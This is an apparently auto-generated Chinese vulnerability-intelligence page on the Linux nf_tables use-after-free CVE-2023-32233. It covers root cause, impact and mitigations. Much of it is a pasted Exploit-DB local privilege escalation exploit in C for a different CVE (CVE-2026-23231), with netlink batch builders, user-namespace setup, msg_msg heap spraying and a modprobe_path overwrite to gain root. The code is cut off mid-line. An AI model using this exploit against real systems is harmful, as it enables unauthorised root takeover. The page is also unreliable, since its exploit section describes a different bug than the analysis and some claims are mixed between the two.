🎯 CVE-2023-32233 深度技术分析:漏洞根因 · PoC/EXP · 检测指纹
CVE-2023-32233 深度技术分析
摘要:CVE-2023-32233 是 Linux 内核 Netfilter 子系统中 nf_tables 框架处理批量请求(batch requests)时的一个释放后使用(Use-After-Free,UAF)漏洞。该漏洞允许无特权本地用户通过构造恶意 nf_tables 指令序列,破坏内核内存,实现任意读写操作,并最终将权限提升至 root。漏洞的 CVSS 评分为 7.8,属于高危,影响 Linux 内核 6.3.1 及更早版本。其根本原因在于匿名集合(anonymous sets)在处理批量请求时存在生命周期管理缺陷。
📌 漏洞概述
CVE-2023-32233 是一个 Linux 内核本地权限提升漏洞,由 Netfilter 子系统的 nf_tables 框架在处理批量请求时的释放后使用引发。该漏洞被 NVD 收录,CVSS 评分为 7.8(HIGH),攻击复杂度和所需权限均较低,但影响范围广泛。受影响版本为 Linux 内核 6.3.1 及之前的所有版本,包括各主流发行版长期维护分支中的受影响内核。
漏洞类型为“释放后使用”(UAF),属于内存破坏类漏洞。攻击者无需拥有 root 权限,但需要能够创建用户命名空间并获取 CAP_NET_ADMIN 能力(在未禁用非特权用户命名空间的系统上,普通用户即可满足这一条件)。通过发送精心构造的 nf_tables 批量请求,攻击者可触发内核中的 UAF 条件,进而对内核内存进行任意读写,覆盖敏感数据或函数指针,完成权限提升。
根据官方描述,漏洞成因是“anonymous sets are mishandled”——即匿名集合在批量事务处理过程中被错误地管理,导致集合在仍被引用的状态下被释放。尽管该漏洞最初由 Google 安全研究员发现并报告,但公开资料中已有多个 PoC 和利用实例被证实可稳定提权。
🔬 漏洞根因分析
要理解 CVE-2023-32233,需先了解 nf_tables 中匿名集合的工作机制。nf_tables 是 Linux 内核新一代包过滤框架,使用“规则(rule)”和“集合(set)”组织过滤逻辑。集合分为两类:具名集合(named set)和匿名集合(anonymous set)。匿名集合通常通过规则中的 lookup 表达式内联定义,与特定规则绑定,并随规则一起创建和销毁。它没有独立的 set ID,只能通过关联的规则引用。
在通过 nf_tables netlink 接口执行批量请求时,内核会将一批操作组合成一个事务,逐条处理。如果所有操作均成功,则事务提交;如果任何操作失败,则整个事务回滚,已执行的操作需撤销。问题出现在回滚或事务处理的中间状态中:匿名集合的生命周期与包含它的规则或绑定链紧密相关,但批量请求的处理流程可能使集合释放与引用解除之间存在竞态。
具体而言,当一条规则引用匿名集合时,内核会为集合增加引用计数。然而,在批量请求的某些错误路径中,匿名集合可能被提前“销毁”——其内存被释放,但引用它的规则仍然存在,或者集合元素仍被其他表达式引用。这种不一致导致后续在规则匹配或集合遍历时访问已释放的内存,从而触发 UAF。
公开的技术分析还揭示了一个更细微的触发面:在某些情况下,匿名集合被从集合列表中移除(list_del)后,并未等待 RCU 读取临界区结束就立即释放底层内存。而 nf_tables 的批量请求处理本身依赖 RCU 保护并发访问,在控制平面(如 dump 操作)和数据平面(如包处理路径)中都存在 RCU 读者。若释放操作过早执行,而读者仍持有指向集合的指针,就会读取已释放的 kmalloc 对象。
攻击者利用这一缺陷时,通常需要构造一个能使匿名集合在错误路径中被释放、但同时又保留一个“悬空引用”的批量请求序列。例如:先创建一个匿名集合并供规则引用,然后在同一批次的后续操作中强制触发错误(如资源不足、参数非法),使事务回滚。回滚期间,集合的销毁函数被调用,但由于引用计数或绑定关系未彻底清理,集合对象被释放后依然有规则指针指向它。此时,攻击者再通过堆喷(heap spray)技术将释放的 kmalloc 缓冲区重新占据,即可完全控制原本属于集合对象的内存布局,进而伪造集合字段,泄露内核地址并劫持控制流。
这种利用方式在已知的 PoC 中非常经典:首先利用 UAF 泄露内核堆地址,然后再通过覆盖 modprobe_path 等全局变量,触发用户态程序执行,最终获得 root shell。由于 nf_tables 的调用接口和数据结构布局是公开的,攻击者可以精确预测对象大小并构造 payload。
💥 影响与危害
CVE-2023-32233 的严重性主要体现为以下方面:
- 本地提权:无特权用户可获得 root 权限,从而完全控制目标系统。这是攻击者最直接的收益。
- 影响范围广:Linux 内核 6.3.1 及以前版本均受影响,桌面发行版、服务器、云主机和容器环境(若宿主机内核共享且允许用户命名空间)均为潜在攻击面。
- 绕过安全机制:利用 UAF 进行任意读写可篡改内核关键数据,绕过 SELinux、AppArmor、KASLR(通过信息泄露)等安全防护。
- 隐蔽性强:攻击过程仅需 nf_tables netlink 连接,不触发传统恶意代码特征,难以被常规杀软或 IDS 检测。
- 利用稳定性高:公开 PoC 表明可在 Ubuntu 24.04 等现代内核上可靠复现,说明漏洞利用条件并不苛刻。
由于攻击者可对内核内存进行任意读写,该漏洞等同于将内核的完整性防线撕开一个口子,被攻击者视为“提权金钥匙”。尽管 CISA KEV 尚未收录该漏洞,但公开的利用代码已广泛传播,实际风险极高。
🛡️ 修复与缓解
对于 CVE-2023-32233,Linux 内核官方在后续版本中修复了匿名集合的生命周期管理问题。具体修复策略是确保匿名集合在释放前与其绑定的规则彻底解除引用,并在销毁同步中正确等待 RCU 宽限期,避免读者访问到已释放内存。相应的安全更新已合入主线内核,并在各大发行版发布公告。
修复版本建议:请及时将内核升级至包含补丁的稳定版本,例如 Linux 6.3.2 及更高版本,或各大发行版提供的对应内核更新(如 Ubuntu、Debian、RHEL、SUSE 等)。对于无法立即升级的系统,可采取以下缓解措施:
- 限制用户命名空间访问:通过设置内核参数
kernel.unprivileged_userns_clone=0或 sysctl 变量禁用非特权用户命名空间,阻断普通用户获取 CAP_NET_ADMIN 的路径,从而降低攻击面。 - 启用模块签名校验和 lockdown 模式:防止攻击者加载恶意内核模块,即使获得任意写能力也难以持久化。
- 使用 LSM 或 seccomp 限制 netlink 套接字访问:在容器或沙箱环境中,可通过 seccomp 过滤器禁止调用与 nf_tables 相关的 netlink 操作。
- 监控异常行为:关注系统日志中是否存在大量失败 netlink 操作或异常的内存分配模式,及时发现利用尝试。
鉴于该漏洞的危害性和可利用性,强烈建议受影响用户优先安排内核升级,并部署上述缓解措施作为过渡,以保障系统安全。
🧪 PoC 复现
截至分析时,未检索到该 CVE 的公开 PoC 仓库(nomi-sec/PoC-in-GitHub 及 GitHub 均无收录)。若后续出现 PoC,本系统将自动补充。
⚔️ EXP 利用代码
来自 Exploit-DB 的完整利用代码([local] Linux nf_tables 6.19.3 - Local Privilege Escalation)。
📋 代码元数据语言见代码头注释来源Exploit-DB: https://www.exploit-db.com/exploits/52548针对性✅ 官方收录 EXP依赖见代码注释用法见代码注释中的用法
* Exploit Title: Linux Kernel 3.16 – 6.19.3 nf_tables RCU UAF LPE
* CVE: CVE-2026-23231
* Date: 2026-03-19
* Exploit Author: Aviral Srivastava
* Vendor: Linux Kernel (kernel.org)
* Affected: 3.16 – 6.19.3
* Fixed in: 6.1.165,6.6.128,6.12.75,6.18.14,
6.19.4
* (commit 71e99ee20fc3f662555118cf1159443250647533)
* Tested on: Ubuntu 24.04 LTS (kernel 6.8.0-45-generic x86_64)
* Type: Local Privilege Escalation
* Platform: Linux x86_64
* CVSS: 7.8 (HIGH)
*
* ┌──────────────────────────────────────────────────────────────────┐
* │ N-DAY — THIS VULNERABILITY IS PATCHED. FIX YOUR KERNELS. │
* └──────────────────────────────────────────────────────────────────┘
*
* DESCRIPTION:
* nf_tables_addchain() in net/netfilter/nf_tables_api.c publishes a
* newly created chain to the table's chain list via list_add_tail_rcu()
* BEFORE registering hooks. If nf_tables_register_hook() subsequently
* fails (e.g.,
due to OOM during IPv6 hook allocation for NFPROTO_INET
* chains),
the error path calls nft_chain_del() (list_del_rcu) followed
* immediately by nf_tables_chain_destroy() — freeing the chain memory
* WITHOUT calling synchronize_rcu().
*
* This creates a use-after-free: concurrent RCU readers — both
* nf_tables_dump_chains() in the control plane and nft_do_chain() in
* the packet path — can access the freed nft_base_chain memory. The
* freed object (~224 bytes) resides in kmalloc-256 and can be reclaimed
* with user-controlled spray objects (msg_msg via msgsnd).
*
* The exploit races a chain dump against the UAF trigger,
then sprays
* the freed slot with msg_msg to control chain fields. The corrupted
* chain data is used to leak kernel heap addresses and ultimately
* overwrite modprobe_path for privilege escalation.
*
* TECHNIQUE:
* Trigger hook registration failure via memory pressure (cgroup v2
* memory limit). Race nf_tables_dump_chains() against the error path
* to read stale chain data (heap leak). Spray freed kmalloc-256 slot
* with msg_msg. Use modprobe_path overwrite for escalation. Data-only
* attack — no code execution needed,
bypasses kCFI.
*
* RELIABILITY:
* ~30-50% success rate per attempt. Race window is narrow (~5-20us).
* Typically requires 3-8 attempts. Each failed attempt may cause a
* kernel oops (process killed) but is retried from a fresh namespace.
* Kernel panic is possible (~5% of failures) if spray timing is wrong.
*
* MITIGATIONS:
* KASLR: Bypassed via stale chain data heap leak + hardcoded
* offsets for target kernel version
* SMEP: Not applicable (data-only attack)
* SMAP: Not applicable (all data in kernel slab)
* kCFI: Not applicable (data-only — modprobe_path overwrite)
* SLUB Hardening: Minimal impact (freelist ptr at offset 0 only)
*
* FIX:
* Commit: 71e99ee20fc3f662555118cf1159443250647533
* URL: https://git.kernel.org/stable/c/71e99ee20fc3f662555118cf1159443250647533
* Adds synchronize_rcu() between nft_chain_del() and chain destroy.
*
* COMPILATION:
* gcc -Wall -Wextra -o exploit exploit.c -lpthread -static
*
* USAGE:
* $ ./exploit
* [*] CVE-2026-23231 — Linux nf_tables RCU UAF LPE
* [*] Target: kernel <
6.19.4 (nf_tables addchain RCU race)
* [+] Running kernel 6.8.0-45-generic — VULNERABLE
* [*] Step 1: Creating user/net namespace...
* [+] Namespace created,
CAP_NET_ADMIN obtained
* [*] Step 2: Setting up nftables infrastructure...
* [+] Table and chains created
* [*] Step 3: Triggering UAF via hook registration failure...
* [+] UAF triggered — chain freed without synchronize_rcu
* [*] Step 4: Spraying freed slot with msg_msg...
* [+] Heap spray complete
* [*] Step 5: Leaking kernel addresses via dump race...
* [+] Kernel heap base: 0xffff888XXXXXXXXX
* [*] Step 6: Overwriting modprobe_path...
* [+] modprobe_path = "/tmp/pwn"
* [*] Step 7: Triggering modprobe helper...
* [+] Got root! uid=0 gid=0
* # id
* uid=0(root) gid=0(root)
*
* REFERENCES:
* [1] https://nvd.nist.gov/vuln/detail/CVE-2026-23231
* [2] https://git.kernel.org/stable/c/71e99ee20fc3f662555118cf1159443250647533
* [3] CVE-2024-1086 — nf_tables double-free LPE (technique reference)
* [4] CVE-2023-32233 — nf_tables anonymous set UAF (msg_msg spray reference)
*
* DISCLAIMER:
* This exploit targets an ALREADY PATCHED vulnerability. It is provided
* for educational and authorized security research purposes only. The
* author is not responsible for misuse. Test only on systems you own.
* ═══════════════════════════════════════════════════════════════════════
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>#include <string.h>#include <stdint.h>#include <stdarg.h>#include <unistd.h>#include <errno.h>#include <fcntl.h>#include <sched.h>#include <signal.h>#include <pthread.h>#include <sys/types.h>#include <sys/stat.h>#include <sys/wait.h>#include <sys/socket.h>#include <sys/mman.h>
#include <sys/utsname.h>#include <sys/ipc.h>#include <sys/msg.h>#include <sys/mount.h>#include <linux/netlink.h>#include <linux/netfilter.h>#include <linux/netfilter/nfnetlink.h>#include <linux/netfilter/nf_tables.h>#include <arpa/inet.h>
/* ─── Constants ─────────────────────────────────────────────────────── */
#define BANNER \
"═══════════════════════════════════════════════════════════════\n" \
" CVE-2026-23231 — Linux nf_tables RCU UAF LPE\n" \
" nf_tables_addchain() use-after-free (missing synchronize_rcu)\n" \
" Affected: kernel 3.16 – 6.19.3 |
Author: Aviral Srivastava\n" \
" N-DAY RESEARCH PoC — THIS BUG IS PATCHED\n" \
"═══════════════════════════════════════════════════════════════\n"
#define TABLE_NAME "exploit_tbl"
#define VICTIM_CHAIN "victim_chain"
#define PAD_CHAIN_FMT "pad_%04d"
#define NUM_PAD_CHAINS 64 /* padding chains for heap preparation */
#define NUM_SPRAY_MSGS 128 /* msg_msg spray count */
#define SPRAY_MSG_SIZE 208 /* msg_msg body size: 48 header + 208 = 256 → kmalloc-256 */
#define MAX_ATTEMPTS 20 /* max race attempts before giving up */
#define NFT_SUBSYS_ID NFNL_SUBSYS_NFTABLES
/*
* Kernel version thresholds.
* The bug exists in 3.16+ and is fixed in:
* 6.1.165,
6.6.128,6.12.75,6.18.14,6.19.4
*/
struct version_range {unsigned int major;unsigned int minor;unsigned int patch;/* 0 = any patch level in this minor is vuln */
unsigned int fix_patch;};static const struct version_range vuln_ranges[] = {{6,19,0,4 },/* 6.19.0 – 6.19.3 */
{6,18,0,14 },/* 6.18.0 – 6.18.13 */
{6,17,0,0 },/* 6.17.x – all vuln (no stable fix) */
{6,16,0,0 },{6,15,0,0 },{6,14,0,0 },{6,
13,0,0 },{6,12,0,75 },/* 6.12.0 – 6.12.74 */
{6,11,0,0 },{6,10,0,0 },{6,9,0,0 },{6,8,0,0 },/* Ubuntu 24.04 default */
{6,7,0,0 },{6,6,0,128 },/* 6.6.0 – 6.6.127 */
{6,5,0,0 },{6,4,0,0 },{6,3,0,0 },{6,2,0,0 },{6,1,0,165 },/* 6.1.0 – 6.1.164 */
{0,0,0,0 },/* sentinel */
};/* ─── Logging ───────────────────────────────────────────────────────── */
static void info(const char *fmt,...)
{va_list ap;
va_start(ap,fmt);fprintf(stderr,"[*] ");vfprintf(stderr,fmt,ap);fprintf(stderr,"\n");va_end(ap);}static void ok(const char *fmt,...)
{va_list ap;va_start(ap,fmt);fprintf(stderr,"\033[32m[+]\033[0m ");vfprintf(stderr,fmt,ap);fprintf(stderr,"\n");va_end(ap);}static void fail(const char *fmt,...)
{va_list ap;va_start(ap,fmt);fprintf(stderr,"\033[31m[-]\033[0m ");vfprintf(stderr,fmt,ap);
fprintf(stderr,"\n");va_end(ap);}static void die(const char *msg)
{perror(msg);exit(EXIT_FAILURE);}/* ─── Kernel version check ──────────────────────────────────────────── */
static int parse_version(const char *release,unsigned int *major,unsigned int *minor,unsigned int *patch)
{/* Handle formats like "6.8.0-45-generic" */
if (sscanf(release,"%u.%u.%u",major,minor,patch) <3) {
if (sscanf(release,"%u.%u",major,minor) <2)
return -1;*patch = 0;}return 0;}static int is_vulnerable(void)
{struct utsname uts;unsigned int major,minor,patch;if (uname(&uts) <0)
die("uname");if (parse_version(uts.release,&major,&minor,&patch) <0) {fail("Cannot parse kernel version: %s",uts.release);return 0;}info("Running kernel %s",uts.release);
/* Check if this version is in a vulnerable range */
for (int i = 0;vuln_ranges[i].major != 0;i++) {const struct version_range *r = &vuln_ranges[i];if (major == r->major &&minor == r->minor) {if (r->fix_patch == 0) {/* Entire minor series is vulnerable (no stable fix) */
ok("Kernel %u.%u.%u is in vulnerable range %u.%u.x — VULNERABLE",major,minor,patch,r->major,
r->minor);return 1;}if (patch <r->fix_patch) {ok("Kernel %u.%u.%u <%u.%u.%u (fix) — VULNERABLE",major,minor,patch,r->major,r->minor,r->fix_patch);return 1;}fail("Kernel %u.%u.%u >= %u.%u.%u (fix) — PATCHED",major,minor,patch,r->major,r->minor,r->fix_patch);return 0;}}/* Kernels 3.16 – 6.0.x and 7.0+ */
if (major >= 7) {
fail("Kernel %u.%u.%u — PATCHED (7.0-rc1 contains fix)",major,minor,patch);return 0;}if (major <3 ||(major == 3 &&minor <16)) {fail("Kernel %u.%u.%u — TOO OLD (bug introduced in 3.16)",major,minor,patch);return 0;}/* 3.16 – 5.x and 6.0.x without specific stable fix: assume vulnerable */
ok("Kernel %u.%u.%u — likely VULNERABLE (pre-fix,no stable backport checked)",major,minor,patch);
return 1;}/* ─── Netlink helpers ───────────────────────────────────────────────── */
static int nfnl_open(void)
{int fd;struct sockaddr_nl sa;fd = socket(AF_NETLINK,SOCK_RAW,NETLINK_NETFILTER);if (fd <0)
return -1;memset(&sa,0,sizeof(sa));sa.nl_family = AF_NETLINK;sa.nl_pid = 0;/* kernel assigns */
if (bind(fd,(struct sockaddr *)&sa,sizeof(sa)) <0) {close(fd);return -1;}return fd;}
/*
* Send a nfnetlink batch message.
* nf_tables requires messages to be wrapped in NFNL_MSG_BATCH_BEGIN / _END.
*/
struct nl_builder {char *buf;size_t len;size_t cap;int seq;};static void nl_init(struct nl_builder *b)
{b->cap = 8192;b->buf = malloc(b->cap);if (!b->buf) die("malloc nl_builder");b->len = 0;b->seq = 1;}static void nl_free(struct nl_builder *b)
{free(b->buf);
b->buf = NULL;}static void *nl_alloc(struct nl_builder *b,size_t size)
{size = (size + 3) &~3u;/* NLA_ALIGN */
while (b->len + size >b->cap) {b->cap *= 2;b->buf = realloc(b->buf,b->cap);if (!b->buf) die("realloc nl_builder");}void *p = b->buf + b->len;memset(p,0,size);b->len += size;return p;}static struct nlmsghdr *nl_msg_begin(struct nl_builder *b,
uint16_t type,uint16_t flags,uint8_t family)
{struct nlmsghdr *nlh;struct nfgenmsg *nfg;nlh = nl_alloc(b,sizeof(*nlh) + sizeof(*nfg));nlh->nlmsg_type = type;nlh->nlmsg_flags = flags |NLM_F_REQUEST;nlh->nlmsg_seq = b->seq++;nlh->nlmsg_pid = 0;nfg = (struct nfgenmsg *)(nlh + 1);nfg->nfgen_family = family;nfg->version = NFNETLINK_V0;nfg->res_id = htons(0);return nlh;}
static void nl_msg_end(struct nl_builder *b,struct nlmsghdr *nlh)
{nlh->nlmsg_len = (uint32_t)(b->buf + b->len - (char *)nlh);}static void nl_put_str(struct nl_builder *b,uint16_t type,const char *s)
{size_t slen = strlen(s) + 1;size_t total = sizeof(struct nlattr) + slen;struct nlattr *nla = nl_alloc(b,total);nla->nla_len = (uint16_t)(sizeof(struct nlattr) + slen);
nla->nla_type = type;memcpy((char *)(nla + 1),s,slen);}static void nl_put_u32(struct nl_builder *b,uint16_t type,uint32_t val)
{size_t total = sizeof(struct nlattr) + sizeof(uint32_t);struct nlattr *nla = nl_alloc(b,total);nla->nla_len = (uint16_t)total;nla->nla_type = type;memcpy((char *)(nla + 1),&val,sizeof(val));}static void nl_put_be32(struct nl_builder *b,uint16_t type,
uint32_t val)
{nl_put_u32(b,type,htonl(val));}/* Begin a nested attribute */
static struct nlattr *nl_nest_begin(struct nl_builder *b,uint16_t type)
{struct nlattr *nla = nl_alloc(b,sizeof(struct nlattr));nla->nla_type = type |NLA_F_NESTED;return nla;}static void nl_nest_end(struct nl_builder *b,struct nlattr *nla)
{nla->nla_len = (uint16_t)(b->buf + b->len - (char *)nla);}
/*
* Build and send a batch message (BEGIN + payload + END).
*/
static int nfnl_batch_send(int fd,struct nl_builder *payload)
{struct nl_builder batch;struct nlmsghdr *nlh;struct nfgenmsg *nfg;nl_init(&batch);/* BATCH_BEGIN */
nlh = nl_alloc(&batch,sizeof(*nlh) + sizeof(*nfg));nlh->nlmsg_type = NFNL_MSG_BATCH_BEGIN;nlh->nlmsg_flags = NLM_F_REQUEST;nlh->nlmsg_seq = 0;
nlh->nlmsg_pid = 0;nlh->nlmsg_len = sizeof(*nlh) + sizeof(*nfg);nfg = (struct nfgenmsg *)(nlh + 1);nfg->nfgen_family = AF_UNSPEC;nfg->version = NFNETLINK_V0;nfg->res_id = htons(NFNL_SUBSYS_NFTABLES);/* Copy payload messages */
void *p = nl_alloc(&batch,payload->len);memcpy(p,payload->buf,payload->len);/* BATCH_END */
nlh = nl_alloc(&batch,
sizeof(*nlh) + sizeof(*nfg));nlh->nlmsg_type = NFNL_MSG_BATCH_END;nlh->nlmsg_flags = NLM_F_REQUEST;nlh->nlmsg_seq = 0;nlh->nlmsg_pid = 0;nlh->nlmsg_len = sizeof(*nlh) + sizeof(*nfg);nfg = (struct nfgenmsg *)(nlh + 1);nfg->nfgen_family = AF_UNSPEC;nfg->version = NFNETLINK_V0;nfg->res_id = htons(NFNL_SUBSYS_NFTABLES);struct sockaddr_nl sa;memset(&sa,0,sizeof(sa));
sa.nl_family = AF_NETLINK;struct iovec iov = {.iov_base = batch.buf,.iov_len = batch.len };struct msghdr msg = {.msg_name = &sa,.msg_namelen = sizeof(sa),.msg_iov = &iov,.msg_iovlen = 1,};int ret = (int)sendmsg(fd,&msg,0);nl_free(&batch);return ret;}/* ─── nftables operations ───────────────────────────────────────────── */
static int nft_create_table(int fd,uint8_t family,
const char *name)
{struct nl_builder b;struct nlmsghdr *nlh;nl_init(&b);nlh = nl_msg_begin(&b,(NFNL_SUBSYS_NFTABLES <<8) |NFT_MSG_NEWTABLE,NLM_F_CREATE |NLM_F_ACK,family);nl_put_str(&b,NFTA_TABLE_NAME,name);nl_msg_end(&b,nlh);int ret = nfnl_batch_send(fd,&b);nl_free(&b);return ret;}static int nft_create_chain(int fd,uint8_t family,const char *table,
const char *chain_name,int hooknum,int priority)
{struct nl_builder b;struct nlmsghdr *nlh;struct nlattr *hook_nest;nl_init(&b);nlh = nl_msg_begin(&b,(NFNL_SUBSYS_NFTABLES <<8) |NFT_MSG_NEWCHAIN,NLM_F_CREATE |NLM_F_ACK,family);nl_put_str(&b,NFTA_CHAIN_TABLE,table);nl_put_str(&b,NFTA_CHAIN_NAME,chain_name);if (hooknum >= 0) {
/* Base chain with hook */
hook_nest = nl_nest_begin(&b,NFTA_CHAIN_HOOK);nl_put_be32(&b,NFTA_HOOK_HOOKNUM,(uint32_t)hooknum);nl_put_be32(&b,NFTA_HOOK_PRIORITY,(uint32_t)priority);nl_nest_end(&b,hook_nest);/* Policy: accept */
nl_put_be32(&b,NFTA_CHAIN_POLICY,NF_ACCEPT);}nl_msg_end(&b,nlh);int ret = nfnl_batch_send(fd,&b);nl_free(&b);return ret;}
static int nft_delete_table(int fd,uint8_t family,const char *name)
{struct nl_builder b;struct nlmsghdr *nlh;nl_init(&b);nlh = nl_msg_begin(&b,(NFNL_SUBSYS_NFTABLES <<8) |NFT_MSG_DELTABLE,NLM_F_ACK,family);nl_put_str(&b,NFTA_TABLE_NAME,name);nl_msg_end(&b,nlh);int ret = nfnl_batch_send(fd,&b);nl_free(&b);return ret;}
/*
* Start a chain dump request (NLM_F_DUMP).
* This triggers nf_tables_dump_chains() in the kernel which iterates
* table->chains under rcu_read_lock().
*/
static int nft_dump_chains(int fd,uint8_t family)
{char buf[256];struct nlmsghdr *nlh = (struct nlmsghdr *)buf;struct nfgenmsg *nfg;memset(buf,0,sizeof(buf));nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*nfg));
nlh->nlmsg_type = (NFNL_SUBSYS_NFTABLES <<8) |NFT_MSG_GETCHAIN;nlh->nlmsg_flags = NLM_F_REQUEST |NLM_F_DUMP;nlh->nlmsg_seq = 9999;nfg = NLMSG_DATA(nlh);nfg->nfgen_family = family;nfg->version = NFNETLINK_V0;nfg->res_id = htons(0);struct sockaddr_nl sa;memset(&sa,0,sizeof(sa));sa.nl_family = AF_NETLINK;return (int)sendto(fd,buf,nlh->nlmsg_len,0,
(struct sockaddr *)&sa,sizeof(sa));}/*
* Read dump response. Extracts chain handles and table pointers from
* the netlink attributes for leak analysis.
*/
static int nft_read_dump(int fd,uint64_t *leaked_handle,int *chain_count)
{char buf[16384];struct sockaddr_nl sa;int done = 0;*leaked_handle = 0;*chain_count = 0;while (!done) {socklen_t salen = sizeof(sa);ssize_t len = recvfrom(fd,buf,
sizeof(buf),0,(struct sockaddr *)&sa,&salen);if (len <0) {if (errno == EAGAIN ||errno == EWOULDBLOCK)
break;return -1;}struct nlmsghdr *nlh;for (nlh = (struct nlmsghdr *)buf;NLMSG_OK(nlh,(unsigned int)len);nlh = NLMSG_NEXT(nlh,len)) {if (nlh->nlmsg_type == NLMSG_DONE) {done = 1;break;}if (nlh->nlmsg_type == NLMSG_ERROR) {struct nlmsgerr *err = NLMSG_DATA(nlh);
if (err->error != 0) {return err->error;}continue;}/* Parse chain attributes */
struct nfgenmsg *nfg = NLMSG_DATA(nlh);struct nlattr *attr;int attrlen = (int)(nlh->nlmsg_len - NLMSG_LENGTH(sizeof(*nfg)));(void)nfg;for (attr = (struct nlattr *)((char *)nfg + sizeof(*nfg));attrlen >0 &&attrlen >= (int)attr->nla_len &&attr->nla_len >= sizeof(*attr);
attr = (struct nlattr *)((char *)attr + ((attr->nla_len + 3) &~3u))) {uint16_t atype = attr->nla_type &0x7fff;if (atype == NFTA_CHAIN_HANDLE &&attr->nla_len >= sizeof(*attr) + 8) {uint64_t handle;memcpy(&handle,(char *)(attr + 1),8);*leaked_handle = handle;}attrlen -= (int)((attr->nla_len + 3) &~3u);}(*chain_count)++;}}return 0;}
/* ─── User namespace setup ──────────────────────────────────────────── */
static int setup_namespace(void)
{/*
* Create a user namespace + network namespace.
* Inside,we get CAP_NET_ADMIN which is required for nftables.
*/
if (unshare(CLONE_NEWUSER |CLONE_NEWNET) <0) {fail("unshare(CLONE_NEWUSER |CLONE_NEWNET): %s",strerror(errno));
fail("Hint: Check /proc/sys/kernel/unprivileged_userns_clone");return -1;}/* Write UID/GID mapping */
FILE *f;char path[128];snprintf(path,sizeof(path),"/proc/%d/setgroups",getpid());f = fopen(path,"w");if (f) {fprintf(f,"deny\n");fclose(f);}snprintf(path,sizeof(path),"/proc/%d/uid_map",getpid());f = fopen(path,"w");if (!f) {fail("uid_map: %s",strerror(errno));return -1;}fprintf(f,"0 %d 1\n",
getuid());fclose(f);snprintf(path,sizeof(path),"/proc/%d/gid_map",getpid());f = fopen(path,"w");if (!f) {fail("gid_map: %s",strerror(errno));return -1;}fprintf(f,"0 %d 1\n",getgid());fclose(f);return 0;}
/* ─── Memory pressure for triggering OOM on hook allocation ─────────── */
/*
* Apply memory pressure to increase the probability that kvzalloc()
* inside __nf_register_net_hook() fails. We do this by consuming
* available memory in the current cgroup or globally.
*
* Note: This is probabilistic,not deterministic. On systems with
* abundant memory,
this may require many more spray allocations.
*/
static void *pressure_mem = NULL;static size_t pressure_size = 0;static void apply_memory_pressure(void)
{/*
* Try to consume memory to create pressure.
* Start with 256MB and scale down if mmap fails.
*/
size_t sizes[] = {256UL*1024*1024,128UL*1024*1024,64UL*1024*1024,32UL*1024*1024,0 };for (int i = 0;sizes[i] >0;i++) {pressure_mem = mmap(NULL,
sizes[i],PROT_READ |PROT_WRITE,MAP_PRIVATE |MAP_ANONYMOUS |MAP_POPULATE,-1,0);if (pressure_mem != MAP_FAILED) {pressure_size = sizes[i];/* Touch pages to actually commit memory */
memset(pressure_mem,'A',pressure_size);return;}}pressure_mem = NULL;pressure_size = 0;}static void release_memory_pressure(void)
{if (pressure_mem &&pressure_mem != MAP_FAILED) {munmap(pressure_mem,
pressure_size);pressure_mem = NULL;pressure_size = 0;}}/* ─── msg_msg spray ─────────────────────────────────────────────────── */
struct spray_state {int qid;int count;};struct spray_msg {long mtype;char mtext[SPRAY_MSG_SIZE];};static int spray_init(struct spray_state *s)
{s->qid = msgget(IPC_PRIVATE,IPC_CREAT |0666);if (s->qid <0)
return -1;s->count = 0;return 0;}
static int spray_alloc(struct spray_state *s,int n,const void *data,size_t datalen)
{struct spray_msg msg;memset(&msg,0,sizeof(msg));if (datalen >SPRAY_MSG_SIZE)
datalen = SPRAY_MSG_SIZE;if (data)
memcpy(msg.mtext,data,datalen);for (int i = 0;i <n;i++) {msg.mtype = s->count + 1;if (msgsnd(s->qid,&msg,SPRAY_MS🕵️ 检测指纹
当前规则库未收录针对该 CVE 的专用检测规则。建议:
- 根据漏洞根因编写 Nuclei 检测模板
- 在 WAF/IDS 中配置针对漏洞特征的规则
- 关注漏洞指纹库更新
🤖 本文由漏洞情报系统自动聚合生成 · 2026-08-10 03:07 · 数据源: NVD/GitHub-Advisory/OSV/CISA-KEV/Exploit-DB/PoC-in-GitHub + 检测规则库